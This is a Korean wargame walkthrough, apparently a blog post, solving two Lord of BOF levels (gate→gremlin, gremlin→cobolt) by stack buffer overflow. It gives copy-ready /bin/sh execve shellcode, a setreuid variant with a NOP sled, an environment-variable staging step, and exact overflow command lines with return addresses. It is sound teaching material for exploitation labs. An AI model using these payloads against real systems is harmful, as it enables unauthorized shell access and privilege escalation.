우선해당 레벨을 풀기전에 bash2로 쉘을 변경해주고 다시 재 접속을 하였다.

다음으로 해당 디렉토리에 어떤한 파일이 있는지 대해서 보았으며, 다음으로 C소스파일을 보았다.

레벨1과 비슷하지만 버퍼의 크기가 작다.

 

그래서 환경변수로 쉘코드를 넘겨서 푸는걸로 생각을 해보았다.

바로 환경변수를 넘겼다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

쉘코드가 어디올라가있는지 알기 위해서 간단한 코드를 작성해보았다.

 

컴파일을 한 후 쉘코드가 올라간 주소를 보기로 했다.

 

이어서 공격문을 작성을 해보았다.

buffer(16byte)  | EBP(4byte)  | ret(4byte)
                     |                |

이렇게 구성이 되며, 공격문은 ./cobolt $(python -c 'print "A"*20 + "\xe9\xfe\xff\xbf"')

 

바로 공격을 해보자!!!

 


 

 

 

 

 

'문제풀이 > BOF원정대' 카테고리의 다른 글

LEVEL1 (gate -> gremlin)  (0) 2017.08.13

BOF원정대

level1 gate

 

id : gate / pw : gate 아이디와 비밀번호가 똑같다.

우선 해당 디렉토리안에 어떠한 파일이 있는지 확인을 해보았다.

이어서 실행파일과 소스파일있는것을 보았다. 우선 소스파일을 확인을 해보았다.

버퍼256을 argv복사해서넘기는걸볼수가 있다.

 

 

원래 실행파일을 gdb로 분석이 되지않아서 파일을 복사를 했다. 그리고 현재 있는 쉘변경을 해줘야 gdb분석을할수 있어서 쉘변경까지 했다.

 

 

 

 

gdb로 strcpy함수를 부를때 break를 걸어서 입력되기전과 된후를 비교해보았다.

버퍼의 인자가 입력되기 前

 

버퍼의 인자가 입력이 된 後

 

버퍼의 시작점을 입력되기전과 된후를 본 이유는 공격문을 작성할때 버퍼를이용하면 되기 떄문이다.

 

공격문은 이러하다. 공격문은 버퍼를 이용하여 256보다 4바이트 크게 잡으면된다. 왜냐하면 ret값으로 돌려주기 때문이다. 돌려주는 값은 버퍼의 시작주소를 넣으면된다.

 

./gremlin $(python -c 'print "\x90"*199 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*16 + "AAAA" +"\x08\xf9\xff\xbf"')

 

 

 

'문제풀이 > BOF원정대' 카테고리의 다른 글

level2(gremlin -> cobolt)  (0) 2017.09.14

+ Recent posts

티스토리 친구하기